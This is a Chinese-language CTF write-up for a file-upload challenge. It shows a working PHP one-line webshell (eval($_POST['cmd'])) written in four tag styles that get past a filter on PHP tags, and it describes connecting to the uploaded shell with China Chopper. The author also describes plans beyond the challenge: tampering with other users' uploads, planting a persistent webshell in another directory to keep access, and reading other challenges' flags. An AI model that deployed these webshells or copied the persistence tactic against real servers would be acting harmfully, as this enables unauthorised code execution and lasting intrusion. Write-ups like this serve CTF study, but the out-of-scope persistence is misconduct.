【fairy】实验吧——一道奇葩的上传题
题目链接:http://ctf3.shiyanbar.com/up/
我们先随便上传一个文件,可以直接上传,尝试着上传小马,
上传成功,发现上传成功,并且发现源码提示,看到源码就想到事情没有这么简单,查看上传的文件,果然,事情没有这么简单。
它过滤了php的标记,emmmm,查看源码,发现过滤在这
想着该怎么绕过过滤,没想出来,尝试了很多办法,都没有成功,最后在舍友的提示下,发现还有很多种php写法
1、xml风格
<?php
eval($_POST['cmd']);
?>
php推荐使用的标记风格。
服务器管理员无法禁用,所有服务器上均可使用该风格。
2、脚本风格
<script language="php">
eval($_POST['cmd']);
</script>
默认开启,无法禁用
3、简短风格
<?
eval($_POST['cmd']);
?>
此种风格需要在配置文件php.ini中启用short_open_tage选项
此种风格在许多环境中默认是不支持的
4、asp风格
<%
eval($_POST['cmd']);
%>
此种风格需要在配置文件php.ini中启用asp_tag选项
在默认情况下是禁用的
看到第二种,简直美滋滋呀,构造小马
上传,菜刀连接
顺便看到好多人上传的文件,可以搅屎呀,在这个目录下,所有文件定时清楚一次,想着在其他目录上传一个小马,就可以一直连上去了。
差点忘了找flag,在目录下找到flag文件,获取flag为flag{hahahahahahahaha}
同时还在web目录下发现了其他的题,以及其他题的flag